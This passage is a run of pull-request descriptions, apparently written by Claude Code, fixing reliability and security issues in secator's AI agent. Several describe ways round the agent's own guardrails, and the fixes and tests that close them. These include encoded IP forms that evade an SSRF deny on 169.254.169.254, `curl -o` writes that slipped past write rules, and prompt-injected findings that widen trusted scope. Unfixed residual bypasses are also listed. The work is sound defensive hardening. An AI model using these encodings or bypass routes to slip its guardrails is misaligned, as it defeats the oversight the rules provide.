…H5) (#1249) ## Finding — H5 (High / P2, Reliability) Common remote turns that are NOT a guardrail/follow-up question — an ordinary chat reply, or the max-iterations exit — entered the poll/wait with `prompt_uuid=None` and persisted **no** `pending` Ai doc. Consequences: the frontend had nothing to render/answer, and with no (or a `None`-keyed) pending doc the resume/redelivery path could strand the user or trigger a stale re-run. ## The `None`-prompt_uuid paths (before) - `secator/tasks/ai.py:464` — `_prompt_and_redetect(follow_up_choices or [], prompt_uuid=follow_up_prompt_uuid)`: for a plain-chat reply (`not tool_calls`) and for `iteration == self.max_iterations`, `follow_up_prompt_uuid` is `None` and no pending doc was persisted. - `secator/tasks/ai.py:1029` — `_prompt_and_redetect` → `self.backend.ask_user(..., prompt_type="follow_up", prompt_uuid=None)` → `RemoteBackend._poll_for_answer(session_id, "follow_up", prompt_uuid=None)` (`secator/ai/interactivity.py:133/149`): unscoped poll, no doc for the UI to answer. The guardrail/follow-up path already persists a `pending` doc + real `prompt_uuid` in `_dispatch_and_collect` (`ai.py:867-879`) and is left unchanged. ## Fix (per path) - **Plain-chat remote turn** (`_prompt_and_redetect`): when the backend is remote and no `prompt_uuid` was passed, generate one and persist a `pending` `follow_up` doc via `RemoteBackend.build_pending_prompt` (DRY — same helper the permission path uses), then poll scoped to that uuid. Never polls on `None`. Local (CLI) backend is untouched — pending docs stay a remote-driver concern. - **Max-iter terminal path** (`_run_loop`): remote + `iteration == max_iterations` + no follow-up + tool work now `break`s out to the terminal tail (save + "reached max iterations") instead of block-polling on an unanswerable doc, so no dangling `pending` doc is stranded. M10 (timeout/GC/answered-search) and H7 (prompt_uuid correlation) helpers are reused, not reimplemented. No new status strings. ## Tests `tests/unit/test_ai_interactivity.py`: **26 → 29 passed** (3 new). - plain-chat remote turn persists exactly one `pending` doc with a non-None `prompt_uuid` and polls scoped to it; - local plain-chat persists no pending doc; - remote max-iter neither prompts/polls nor strands a pending doc, and ends via the terminal tail. Broader `tests/unit/test_ai_loop.py` shows 9 pre-existing failures (safecmd/shfmt parser missing in this env) — identical with the branch stashed, not regressions from this change. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
## Finding — C3 (CRITICAL / P2, Reliability) The AI Celery task uses `acks_late`, so a worker crash/restart redelivers the same message. On the remote resume path `_maybe_resume_remote` restored history and re-ran `_run_loop` with **no idempotency marker**, so a duplicate delivery replayed the ENTIRE turn: tool actions ran again (side effects), findings were re-emitted, and tokens were re-billed — nothing to dedupe on. ## Turn id chosen — `celery_id` `run_command` (`secator/celery.py:316`) stamps `context['celery_id'] = self.request.id` onto the runner context, and that id is **stable across `acks_late` worker-loss redeliveries** (documented at `celery.py:227`) while being unique per turn dispatch. It therefore uniquely and idempotently names THIS delivery's turn. `session_id` names the whole conversation (many turns), so it is not a per-turn id; the incoming user message carries no UI-supplied uuid. Read via `_turn_uuid()`. ## Marker persistence A `turn_completed` `Ai` doc persisted through the **existing** workspace `_type:"ai"` channel (`add_result`, `print=False`) — no new Mongo collection. `restore_history_from_db` only rebuilds `prompt`/`response` turns, so this ai_type is skipped and never pollutes the transcript. Stamped with `extra_data.turn_uuid = celery_id` + `session_id`, mirroring the proven H7 `extra_data.prompt_uuid` query pattern. ## Short-circuit point `_maybe_resume_remote` in `secator/tasks/ai.py` (guard added right after the backend-name check, ~line 258): if `_turn_completed_marker(turn_uuid, query_engine)` finds a marker, it `debug`-logs and `return True` (benign no-op) **without** restoring history or running `_run_loop` — no re-run, no re-bill. The marker is set via `_mark_turn_completed()` **after** each remote `_run_loop` returns (the fresh-turn call in `yielder` and the resume call in `_maybe_resume_remote`), so a real mid-turn crash leaves no marker and the incomplete turn still resumes and finishes. Local/non-remote path is unaffected (the helper no-ops off `interactive == "remote"`). ## Tests (baseline vs after) Same command, `test_ai_interactivity.py + test_ai_loop.py + test_ai_session.py`: - Baseline: **11 failed, 67 passed** - After: **11 failed, 70 passed** (identical failing set; +3 new tests) The 11 pre-existing failures are unrelated: guardrails allow-list not matching in this env, and two stale `TestRemoteResumeBranch`/`TestRestoreHistoryFromDB` tests that still query `session_id` while the branch's H7 code queries `_context.session_id`. New tests (`TestTurnIdempotency`): - `test_completed_turn_short_circuits_without_replay` — marker present → `_run_loop` not called, `restore_history_from_db` not called, `ai_tokens` stays 0. - `test_incomplete_turn_still_resumes` — no marker → restores and runs `_run_loop` once. - `test_mark_turn_completed_persists_marker` — persists one `turn_completed` Ai stamped with the celery_id turn_uuid + session_id; no-op on the local channel. ## Follow-up Turn-level guard only. Fully-safe idempotency for a turn that crashes **mid-tool-execution** needs per-tool-action markers (dedupe each dispatched action / billed call) — flagged as a follow-up, out of scope here to keep the change surgical. ## Extra findings (flagged, not fixed) - **H3** — `RemoteBackend._poll_for_answer` (`secator/ai/interactivity.py:149-190`) blocks a worker slot for up to `timeout` (default 600s) busy-polling for a web answer, pinning a prefork worker for the whole wait. - Resume double-persist smell — the fresh-turn user prompt is appended + yielded in `_maybe_resume_remote` (`ai.py:289-291`); combined with restore ordering this is a candidate spot for duplicate `prompt` docs on odd redelivery timing (not observed, worth a look alongside per-action idempotency). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
## Finding — M8: IP-deny is evadable (SSRF) [P1 Security]
Decimal/hex/octal/IPv6-mapped encodings reach `169.254.169.254` (and
other blocked IPs); the deny matched literals only.
## Root cause
`secator/ai/guardrails.py` — `match_rule()` (pre-fix line ~54) compared
IP targets against deny/allow patterns as literal strings via `fnmatch`.
The default deny rules (`secator/config.py:263`
`target(169.254.169.254)`, `:264` `target(127.0.0.1)`) only caught the
exact dotted-quad, so alternate encodings of the same address slipped
through:
- decimal `2852039166`
- hex `0xA9FEA9FE`
- octal / dotted hex-octet `0xA9.0xFE.0xA9.0xFE`, `0251.0376.0251.0376`
- IPv6-mapped `::ffff:169.254.169.254` / `[::ffff:169.254.169.254]`
## Fix
- New `_normalize_ip(candidate) -> ip_address | None` (stdlib
`ipaddress`): canonicalizes integer (dec/hex/oct), dotted hex/octal
octets, and IPv6-mapped IPv4 down to a single address; returns `None`
for hostnames so literal matching is preserved.
- New `_ip_in_pattern(ip, pattern)`: treats an IP/CIDR deny/allow
pattern as an `ip_network` and tests membership.
- `match_rule` normalizes the value once and, for IP/CIDR patterns,
matches by network membership (reused uniformly across deny + allow +
ask). URL targets already surface their host via `urlparse` in
`_check_value`, so `curl http://<encoded>/…` is covered.
**No new policy/config surface** — the same blocked IPs are enforced,
just made robust to encodings. CIDR deny rules (e.g. `169.254.0.0/16`)
now also work if ever added.
## Now blocked
decimal, hex (`0x…`), octal (`0o…`), dotted hex/octal octets,
IPv6-mapped IPv4 — all of `169.254.169.254` / `127.0.0.1` / any IP or
CIDR deny rule. Normal public IPs (`8.8.8.8`) and hostnames stay
allowed; `{port}`, glob, basename and path matching are unchanged.
## Residuals (not fixed here — by design)
- **DNS rebinding**: a hostname that resolves to a blocked IP is not
caught; hostnames are intentionally NOT resolved in `_normalize_ip`
(live DNS in the deny path adds TOCTOU + perf issues). Flagged as
residual.
- **Bare scheme-less encoded integer as a shell/task target** (e.g.
`curl 2852039166` with no `http://`): `_is_network_target` does not
classify a bare decimal as a target (deliberately left unchanged —
broadening it would misclassify bare port numbers like `8080` as
`0.0.31.144`). The URL form is covered.
## Tests
`tests/unit/test_ai_guardrails.py::TestEncodedIPDeny` (7 new):
normalization of all encodings, non-IP returns `None`, encoded forms
denied, public IP still allowed, CIDR membership, `_check_value` deny,
and an encoded-URL task action denied end-to-end.
Baseline (before): 55 failed, 75 passed. After: 55 failed, 82 passed.
The 55 failures are pre-existing/environmental (missing `shfmt`/safecmd
shell parser) and the failing set is byte-identical before vs after —
the only delta is the 7 new passing tests. `ast.parse` on
`guardrails.py` OK.
## Adjacent SSRF/target smells (flagged, not fixed)
- `guardrails.py:169` / `:401` — `docker`/`podman` top-level commands
skip target detection entirely (`extract_command_targets` returns `[]`);
a `docker run … curl http://169.254.169.254` is not target-checked.
- `guardrails.py:406` — interpreter `-c` bodies (`python -c`, `bash -c`)
skip path AND target extraction; SSRF inside a `-c` string is unseen.
- No scheme allow/deny: `file://`, `gopher://`, `dict://` etc. are not
modeled (only `http`/`https`/`ftp` recognized) — SSRF via `curl
gopher://…` or local file read via `file://` bypasses target logic.
- URL-embedded credentials (`http://user:pass@host`) and
redirect-following tools (`curl -L`) are not inspected.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
## Finding — M2: Hook rebuild silently drops persistence (P2,
Robustness)
When a subagent/child runner is spawned, its persistence hooks
(mongodb/api
`update_runner`/`update_finding`, etc.) are reconstructed from
`context['drivers']`. If that rebuild returned empty (drivers missing,
none
supported, nothing imported) **or raised**, the child was constructed
with
`hooks={}` and ran to completion while silently persisting **nothing** —
findings/docs vanished with no error surfaced.
## Root cause
`secator/ai/actions.py:553` (pre-change): `hooks =
_build_hooks_from_context(context)`
fed straight into `runner_cls(..., hooks=hooks, ...)`.
`_build_hooks_from_context`
returns `{}` on empty/unsupported drivers and would propagate on an
import raise —
either way the child lost persistence with no signal.
## Approach — refuse (not inherit)
`context` already carries the parent's `drivers` (copied via
`_get_result_context`), so `_build_hooks_from_context(context)` is
already using
the parent's drivers. If it comes back empty despite the parent having
drivers,
re-running the same rebuild (inherit) can't help — the parent's live
hook objects
aren't reachable from `ctx`, only the driver names are. So the honest
fix is to
**refuse the spawn** and surface a denial `Warning`.
New tiny helper `_build_child_hooks_or_denial(context) -> (hooks,
denial)`:
- parent has drivers + rebuild empty → denial Warning, no spawn
- parent has drivers + rebuild raises → caught narrowly, denial Warning
(not `hooks={}`)
- parent has **no** drivers → empty-hooks child allowed (legit
local/no-persistence)
The denial uses the same `Warning(message=..., _context=context)` shape
H4/C1 use
(yielded + returned to the LLM). `_run_runner` yields it and returns
before
constructing the child. DRY: reuses `_build_hooks_from_context` and the
existing
Warning mechanism; +36/-1 in `actions.py`.
## Tests
Baseline: **64 passed**. After: **71 passed** (7 new).
- One existing test (`test_run_runner_propagates_session_id`) stubbed
`hooks={}`
while its context had `drivers` — that was incidental to its session_id
purpose;
its mock now returns a non-empty sentinel so it exercises the normal
path.
- New `TestChildHooksOrDenial`: parent-no-drivers empty ok;
drivers+hooks pass
through; drivers+empty denied; rebuild-raise-with-drivers denied (not
swallowed);
rebuild-raise-no-drivers allowed; end-to-end `_run_runner` refuses (Task
never
constructed) with drivers; end-to-end no-drivers spawns normally.
`ast.parse` on `actions.py` passes.
## Extra findings (flagged, not fixed)
- `secator/ai/actions.py:555` — on refusal (and on `TaskNotFoundError`)
the child
runner status is never reconciled; more broadly a child whose parent
later fails
mid-turn has no status-reconciliation path (adjacent to M10's
pending-doc work).
- `secator/ai/actions.py:602` (`_get_result_context`) —
`ctx.context.copy()` is a
shallow copy; the child's `context['drivers']` is an **alias** of the
parent
list, so a child mutating `drivers` would mutate the parent's. Not
exploited
here but a latent aliasing smell in the driver-context propagation.
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
## Finding (M4, P3 Robustness) `litellm.BadRequestError` (HTTP 400) was in the general `retryable` tuple, so non-transient 400s (context_length_exceeded, malformed request, unsupported param) were retried 3x with backoff before the run died anyway — wasting time/tokens. The nearby comment also implied 400s were transient. ## Root cause `secator/ai/utils.py:302` (pre-fix) — `BadRequestError` listed in `retryable`, and the orphan-tool_use 400 was only caught because of that membership. ## Fix - Removed `BadRequestError` from `retryable`. - Added a dedicated `except litellm.BadRequestError` branch **before** the transient tuple: - orphan `tool_use`/`tool_result` 400 → `_repair_orphan_tool_uses` + `continue` (not counted as an attempt) — H2's repair path preserved exactly. - any other 400 → clear `Error` + immediate `raise` (fail fast, no 3x spin). - Transient errors (500/429/503/connection/APIError) keep retry + exponential backoff. - Corrected the misleading comment. Placing the `BadRequestError` clause first guarantees correct dispatch regardless of the litellm/openai exception hierarchy. ## Tests (baseline 20 → after 23, all pass) Added to `TestCallLLM`: - non-orphan 400 raises immediately, `completion.call_count == 1`, no sleep; - orphan 400 still repairs + retries (`call_count == 2`, no sleep); - transient `RateLimitError` still retries then succeeds (`call_count == 2`, one sleep). ## Extra findings (not fixed here) - **M3** flat `max_tokens_total` trim ignores the model context window — `secator/ai/utils.py:17`/`:227` area (token-count helpers) and wherever the trim threshold is applied; a per-model window would be more correct. - Backoff smell: fixed `2 ** attempt` sleep with **no jitter** (`secator/ai/utils.py:325`) — thundering-herd risk under correlated rate limits. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
## Finding — M3: Flat \`max_tokens_total\` ignores model window (P3, Robustness) \`ChatHistory.to_messages()\` trimmed to a fixed token budget (the flat 100k \`CONFIG.addons.ai.max_tokens_total\`) regardless of the model's real context window. On a smaller-window model (e.g. 8k/32k) the 100k budget never triggers trimming, and the next LLM call fails with \`context_length_exceeded\`. ## Root cause \`secator/ai/history.py:185\` \`to_messages(max_tokens_total)\` → \`if max_tokens_total > 0: return self.trim(max_tokens_total)\`. The caller (\`secator/tasks/ai.py:426\`) passes the flat \`self.max_tokens_total\` (default 100k), which is never clamped to the model window. ## Fix Made the effective trim budget model-aware **inside** \`history.py\` (caller unchanged): - New private \`_trim_budget(max_tokens_total)\` computes: \`min(max_tokens_total, get_context_window(model) - OUTPUT_TOKEN_RESERVATION)\`. - **Model threading:** reuses the \`model\` already stored on the \`ChatHistory\` instance (set by the caller at \`tasks/ai.py:170,297\`) — no signature change to the public \`to_messages(max_tokens_total)\`. - **Reuse (DRY):** uses the existing \`get_context_window()\` helper and the existing \`OUTPUT_TOKEN_RESERVATION\` (8192) constant — no new model lookup, no magic factor. This matches how \`get_available_tokens\`/\`should_compact\` already reserve completion headroom. - **Safety margin:** subtract the fixed 8192-token \`OUTPUT_TOKEN_RESERVATION\` (headroom for the response), consistent with the rest of the module. - **No explicit cap (0):** falls back to the window-derived budget instead of "no trim". - **No model known:** preserves legacy caller-driven behavior. Trimming mechanism (which messages drop) and H2 tool-pair safety (\`_strip_leading_orphan_tools\`) are untouched — only the budget is now model-aware. ## Tests Baseline: **44 passed**. After (4 new focused tests): **48 passed**. New tests (mock \`get_context_window\`): - small-window (8k) model → long history trimmed even with the flat 100k cap; - \`max_tokens_total=0\` + model → trims to the window-derived budget; - large-window (200k) model → flat 100k cap honored, no over-trim (asserts \`trim(100000)\`); - window-capped trim still never leaves a leading orphan tool_result (H2 preserved). 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
## Finding — M1: Unbounded shell output into history (P3, Robustness)
`_handle_shell` in `secator/ai/actions.py` ran the command and yielded
its
stdout/stderr straight into AI history with **no length cap**:
```python
output = result.stdout or result.stderr or "(no output)"
yield Ai(content=output, ai_type="shell_output", _context=context)
```
Root cause: `secator/ai/actions.py:687-688` (pre-change). A command
emitting
megabytes of stdout dumped it all into history → token blow-up / memory
pressure / API errors on the next LLM call. Note the asymmetry: error
text was
already truncated by `_format_action_error(..., max_chars=400)`, but
successful
stdout was not.
## Fix
- New module constant `_MAX_SHELL_OUTPUT_CHARS = 4000` — larger than the
400-char
error cap because successful output carries more useful signal, but
still
bounded.
- Extracted a small shared `_truncate(text, max_chars)` helper (DRY):
**head+tail**
truncation keeping both the start AND the final lines (often where the
result/error is) with a clear `…(truncated N chars)…` marker in the
middle.
Short text passes through unchanged (no marker).
- `_handle_shell` now truncates `output` before yielding.
- `_format_action_error` refactored to reuse `_truncate` instead of its
own inline
head-truncation (removes duplication; no test pinned the old marker).
Behavior preserved for short output and the `(no output)` fallback.
`_handle_shell` signature and the `Ai(ai_type="shell_output")` shape
unchanged.
## Tests
`tests/unit/test_ai_actions.py`:
- large stdout → truncated to <= cap+marker, contains the truncation
marker, and
both first (`HEAD_LINE`) and last (`TAIL_LINE`) lines survive;
- short output passes through unchanged (no marker);
- unit tests on `_truncate` (short unchanged; head+tail preserved).
Counts: **baseline 71 passed → after 75 passed** (+4 new).
## Extra findings (flagged, NOT fixed)
Other unbounded content paths into AI history in the same file:
- `secator/ai/actions.py:940-951` `_handle_add_finding` yields
`content=f'{str(finding)}'` uncapped.
- `secator/ai/actions.py:740-748` `_handle_query` yields each query
result
finding uncapped (count bounded by `limit`, default 100, but per-finding
serialized size is not).
(Note: `secator/ai/history.py` has a separate token-level
`truncate_to_tokens`
history cap; this M1 fix is the complementary action-level cap.)
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
## Finding — M9 (P1 Security): `curl -o`/`wget -O` writes seen as reads Output-flag download destinations were classified as **reads**, so `deny write(/etc/*)` never fired and the write was evaluated against read rules → **guardrail bypass**. ## Root cause `secator/ai/guardrails.py` — `detect_paths_with_access()`. Shell redirects (`>`, `>>`, `2>`) were classified write (guardrails.py:441-444), but a command's non-flag args were all classified by `base_access` (guardrails.py:478), so `curl -o /etc/x`'s destination was tagged **read**. ## Fix - New DRY flag-map `OUTPUT_FLAG_COMMANDS` (guardrails.py:~30): `curl` → `-o`/`--output`; `wget` → `-O`/`--output-document`. - One branch in the existing arg loop marks the flag's destination as `write` via the existing `_add_path(dest, "write")` collection (no parallel parser). Handles `-o FILE`, `--output=FILE`, and `-oFILE`; `-` (stdout) is skipped. - `tee` is already covered (it is in `WRITE_COMMANDS`, positional args already write). - Redirect-write and normal read classification preserved. ## Tools/flags covered `curl -o/--output`, `wget -O/--output-document`. ## Residual (not covered — separate findings) `dd of=`, `tar -f`, `>()` process substitution, `install` dest, `cp` dest. ## Tests - **Locally proven** (`TestOutputFlagWrites`, 8 tests): stub the shell parser (`extract_commands`) so the write-classification logic runs without `shfmt`. Cover space/=/attached forms for both tools, no-flag-stays-read, `-o -` (stdout) ignored, and redirect-still-write. All 8 pass. - **shfmt-gated** (3 tests calling `detect_paths_with_access` end-to-end): `test_curl_output_flag_classified_as_write`, `test_wget_output_flag_classified_as_write` require the real `shfmt` binary (absent locally → safecmd returns [] → they fail locally only; pass in CI). `test_curl_without_output_flag_stays_read` passes locally. ## Baseline vs after (local, no shfmt) - Baseline: 55 failed, 82 passed (all 55 are pre-existing shfmt/safecmd env failures). - After: 57 failed, 91 passed. Delta = +9 passing (8 stubbed + 1 read-only) and +2 failing = exactly the 2 shfmt-gated new tests. **No pre-existing test regressed.** 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
…2) (#1258) ## Finding — M12: \`allow_all\` == \`allow\` semantics (P2, Low) \`RemoteBackend\` treated the two remote permission answers identically: choosing "allow all" granted no broader scope than a single-invocation allow. ## Root cause \`secator/ai/interactivity.py:139-144\` — \`RemoteBackend.ask_user\` called \`_add_permission_rules\` for **both** \`allow\` and \`allow_all\`. Meanwhile H9 (\`guardrails.py:1014-1018\`) already defines the intended split for the CLI: option 0 "Allow this command" adds **no** rule (one-shot), option 1 "Allow all" adds a session rule. The remote path collapsed both into the same rule-adding branch, so \`allow_all\` was no broader than \`allow\`. ## Fix Gate rule persistence on \`allow_all\` only: - \`allow\` (single) → returns allow for this invocation, adds **no** session rule (true one-shot, per H9 — the next matching action re-prompts). - \`allow_all\` → persists the existing session-scoped **\`shell(<cmd>)\`** pattern rule via the unchanged \`_add_permission_rules\` → \`engine.add_runtime_allow\`. Subsequent matching commands are then auto-allowed at the command-name layer (\`_check_value("shell", ...)\`) without a new prompt. - \`deny\` unchanged. Reuses the existing rule-construction mechanism and the engine's existing \`shell(<cmd>)\` / \`target(...)\` / \`read|write(...)\` shapes — no new rule grammar, no cross-lane edit (guardrails.py untouched). ## Tests Added to \`TestRemoteBackend\`: - \`allow_all\` persists a session-scoped \`shell(nmap)\` rule → a 2nd, different nmap invocation is auto-allowed (asserted at \`_check_value\`, the name layer, to avoid the safecmd/shfmt parser dep absent in some envs). - single \`allow\` persists **no** rule → 2nd match not pre-allowed (re-prompts; H9 one-shot preserved). - \`deny\` unchanged, never touches \`runtime_allow\`. Baseline: **29 passed**. After: **32 passed** (`tests/unit/test_ai_interactivity.py`). \`ast.parse\` on \`interactivity.py\` OK. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
…1) (#1259) Finding **D1 — Prompt template/tool drift** (P4 Pertinence). ## Problem 1. **Unsubstituted template vars.** `constraints/queries.txt` (included by every mode) references `$query_types` and `$output_types_reference`, but `get_system_prompt` only substituted `output_types_reference` in *chat* mode and `query_types` in **no** mode. Result: the rendered system prompt leaked literal `$query_types` (all 3 modes) and `$output_types_reference` (attack + exploit) to the LLM. 2. **Phantom tool.** `constraints/common.txt` `<correct>` example taught `run_query(...)` — a tool that does not exist. The real tool is `query_workspace` (`TOOL_ACTION_MAP["query_workspace"] == "query"`). The example JSON was also malformed (unbalanced braces, wrong `_type` shape). ## Fix - `secator/ai/prompts.py` `get_system_prompt`: build one substitution dict with `query_types=build_query_types()` and `output_types_reference=build_output_types_reference()` for **all** modes (library_reference/path_vars still only for attack/exploit). Values derive from `FINDING_TYPES`, so no hardcoded list to drift. Uses existing `safe_substitute`. - `secator/ai/prompts/constraints/common.txt:15`: `run_query({...})` -> `query_workspace(query={"_type": "vulnerability", "severity": {"$in": ["high", "critical"]}})`, matching the `query_workspace` examples already in `queries.txt`. ## Value sources - `$query_types` <- `build_query_types()` (comma-joined `cls.get_name()` over `FINDING_TYPES`). - `$output_types_reference` <- `build_output_types_reference()` (same registry). - Real tool name confirmed against `secator/ai/tools.py` `TOOL_ACTION_MAP` (read-only). ## Tests `tests/unit/test_ai_prompts.py`: **38 -> 41 passed**. Added 3 regression tests asserting every mode renders with no `$query_types`/`$output_types_reference`, that `query_types` renders to real registry names, and that prompts reference `query_workspace` not `run_query`. Rendered-prompt check before/after: | mode | `$query_types` | `$output_types_reference` | `run_query` | |------|------|------|------| | before (all) | leaked | leaked (attack/exploit) | present | | after (all) | gone | gone | gone (query_workspace) | 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
## M7 (P1, Security): \`add_finding\`/\`query\` unconditionally allowed
**Finding:** Injected/scanned content can drive the AI to write a
\`_type:"target"\` finding that auto-approve later trusts, silently
widening scope with no prompt.
**Root cause:** \`secator/ai/guardrails.py:826-827\` blanket-allowed
\`add_finding\` (alongside \`query\`/\`follow_up\`):
\`\`\`python
elif action_type in ("query", "follow_up", "add_finding"):
return PermissionResult(decision="allow", reason=f"{action_type} is
always allowed")
\`\`\`
**What "privileged/trusted" means downstream:**
\`secator/tasks/ai.py:538-556\` \`_auto_approve_workspace_targets()\`
runs \`QueryEngine.search({"_type": "target"}, limit=1000)\` and passes
every hit to \`permission_engine.add_runtime_allow([...])\`. So any
\`target\`-typed finding in the workspace is auto-approved as in-scope
on the next turn. An injected \`add_finding\` of that type therefore
smuggles a new trusted target and widens scope.
## Fix
Small guardrail-layer defense (defense-in-depth). New module-level
predicate:
\`\`\`python
_PRIVILEGED_FINDING_TYPES = frozenset({"target"})
def _is_privileged_finding_type(action: Dict) -> bool:
return str(action.get("_type", "")).strip().lower() in
_PRIVILEGED_FINDING_TYPES
\`\`\`
The decision branch now returns \`ask\` (engine vocabulary, reuses
\`PermissionResult\`) when an \`add_finding\` would mint a
privileged/trusted type. It reads \`_type\` straight off the action dict
the engine already receives — no \`actions.py\` change needed.
Benign/info \`add_finding\` stays \`allow\`; read-only \`query\` and
engine-internal \`follow_up\` are untouched.
## Tests
- New (proven, no shfmt needed):
\`test_add_finding_target_type_not_allowed\` (→ ask),
\`test_add_finding_target_type_case_insensitive\` (→ ask),
\`test_add_finding_benign_allowed\` (vulnerability → allow); existing
\`query\`/\`follow_up\` allow tests still pass.
- Baseline vs after: \`57 failed, 91 passed\` → \`57 failed, 94
passed\`. The 57 failures are pre-existing and **byte-identical**
before/after (environmental \`shfmt\`/\`safecmd\`-gated
\`TestEdgeCases\` shell-parsing tests) — not regressions. AST parse OK.
## Related trust smell (flagged, not fixed here — cross-lane)
\`secator/tasks/ai.py:538-556\` is the sink that auto-trusts
\`_type:"target"\` findings. Note \`_handle_add_finding\`
(\`secator/ai/actions.py:466-467\`) strips \`_type\` from
\`finding_data\` and \`type_map\` only covers \`FINDING_TYPES\` (no
\`Target\`), so today it can't build a literal Target — but this
guardrail closes the intent path as defense-in-depth. AI-origin findings
also aren't tagged distinctly from tool-discovered ones
(\`actions.py:519-524\`), so downstream can't tell them apart.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
…uous (D4) (#1261) ## Finding (D4, P4 Design/Pertinence) `_detect_mode` (`secator/tasks/ai.py`) made a **separate `call_llm(..., self.intent_model, ...)` round-trip** purely to classify the user's prompt into a mode — an extra LLM call (latency + tokens) for what is essentially a small 2-way (attack/chat) classification. ## What this does Adds a cheap **deterministic fast-path** (`fast_detect_mode`) run before the LLM: - **Resolves without any LLM call**: unambiguous prompts that hit high-precision cues for exactly one of `attack`/`chat` (e.g. "scan the target" → attack, "summarize the findings" → chat), and empty prompts → chat. - **Still hits the LLM** (unchanged behavior): ambiguous prompts (cues for both / no cues) and any **exploit-ish** prompt (`exploit`, `poc`, `cve-`, `vulnerabilit`) defer to the existing `call_llm` classifier. The LLM keeps deciding every case the heuristic isn't confident about, so mode-detection quality is preserved. The shared tail (max_iterations / system_prompt / tool_schemas) runs for both paths (DRY). ## What I did NOT change - **`intent_model` opt/config kept** — still referenced by `config.py` and the setup wizard (`ai/utils.py`) and used on the LLM fallback. Removing it would be riskier config-surface churn; out of scope for a conservative P4. - The explicit-mode short-circuit and **`force=True` re-detection** semantics are unchanged. - Did **not** touch `prompts.py` / `_selection.txt` or exploit-mode wiring. ## Tests `tests/unit/test_ai_session.py::TestFastDetectMode` (4 new): - fast-path resolves attack/chat **without** calling `call_llm` (`assert_not_called`); - ambiguous input **falls back** to the LLM (`assert_called_once`, still uses `intent_model`); - `force=True` re-detects over an explicit mode; - pure `fast_detect_mode` cue/ambiguity/exploit-defer logic. Baseline vs after (`test_ai_loop.py` + `test_ai_session.py`): baseline **12 failed / 40 passed** → after **12 failed / 44 passed**. The 12 failures are pre-existing and identical (unrelated to intent detection); +4 are the new tests. ## Related smell (NOT fixed here — flagged) - **D2**: `_detect_mode` (`secator/tasks/ai.py:727`) only accepts `("attack", "chat")` and **discards `exploit`**, even though `modes/_selection.txt` classifies into attack/chat/**exploit** and `MODES` (`ai/prompts.py:70`) defines an `exploit` mode. An exploit-classified prompt falls back to `old_mode or "chat"`. Left for the D2 exploit-wiring lane. Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
## D3 — Dead/vestigial code (P4) Pure deletions, no behavior change. Each removal proven unreferenced via `git grep -nw` across `secator/` and `tests/`. | Candidate | File:line | Refs (excl. own def) | Action | |---|---|---|---| | `ACTION_TOOL_MAP` | `secator/ai/tools.py:17` | 0 | **Removed** | | `_maybe_encrypt` (orphan dup) | `secator/ai/utils.py:666` | 0 callers | **Removed** | | `'scan'` render branch | `secator/output_types/ai.py:165,169` | never set as `ai_type`; not in `ACTION_TYPES` → unreachable | **Removed** | | `maybe_encrypt` (real helper) | `secator/ai/encryption.py:48` | 15+ callers (session, tasks/ai) | **Kept** (live) | | `Ai` data fields (`choices`, `status`, `session_id`, `_related`, `_uuid`, `_duplicate`, `summary`, `answer`, ...) | `secator/output_types/ai.py` | read in tasks/ai, actions, runners/_base + serialized OutputType schema | **Kept** (live / serialized) | ### Evidence - `ACTION_TOOL_MAP`: `git grep -nw ACTION_TOOL_MAP` → only its own definition. - `_maybe_encrypt`: `git grep -nw _maybe_encrypt` → only the definition; the used helper is `maybe_encrypt` (no underscore) in `encryption.py`. - `'scan'`: only appears inside the render branch; the enclosing `if self.ai_type in ACTION_TYPES:` (`task, workflow, shell, add_finding, query, stopped`) never admits `'scan'`, and `'scan'` is not a configured `AI_TYPES` key. ### Ai fields — kept (conservative) The `Ai` dataclass fields are part of the persisted/serialized `OutputType` schema and several are read at runtime (`choices`/`status` in `tasks/ai.py`, `session_id` in `actions.py`, `_related`/`_uuid`/`_duplicate` in `runners/_base.py`). Removing any could break UI/DB contracts, so none were touched. ### Verification - **Tests** (`pytest tests/unit/ -k ai`): baseline **70 failed / 484 passed** → after **70 failed / 484 passed** — failing set byte-identical (pre-existing env failures, unrelated to this change). - **Import smoke**: `import secator.ai.tools, secator.ai.utils, secator.tasks.ai, secator.ai.actions` → OK. - **Compile**: `ast.parse` on all three touched files → OK. ### Extra finding (out of lane — not fixed here) - `secator/ai/prompts.py:264-281` — a fully commented-out `format_user_initial(...)` function (docstring + body). Dead commentary; candidate for a later cleanup in the prompts lane. Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
## Finding — D2: `exploit` mode half-wired (P4 Pertinence)
The selection prompt offers `exploit`, and the full mode exists
(`MODES["exploit"]`, `SYSTEM_EXPLOIT`, `get_system_prompt` branch,
`modes/_selection.txt` classifies attack/chat/**exploit**), but
detection
threw the classification away and the opt help omitted it.
## Root cause
- `secator/tasks/ai.py:764` (pre-change) — `_detect_mode` accepted only
`("attack", "chat")` from the intent LLM; an `exploit` verdict hit the
`else` and reverted to `old_mode or "chat"`. Since D4's
`fast_detect_mode`
already **defers** exploit-ish prompts to the LLM, the LLM *could*
return
`exploit` — it was just discarded here.
- `secator/tasks/ai.py:74` — `mode` opt help hardcoded `"Mode: attack or
chat"`.
## Changes
- `_detect_mode`: accept any `mode in MODES` (adds `exploit`;
attack/chat
behavior identical). `secator/tasks/ai.py:764`
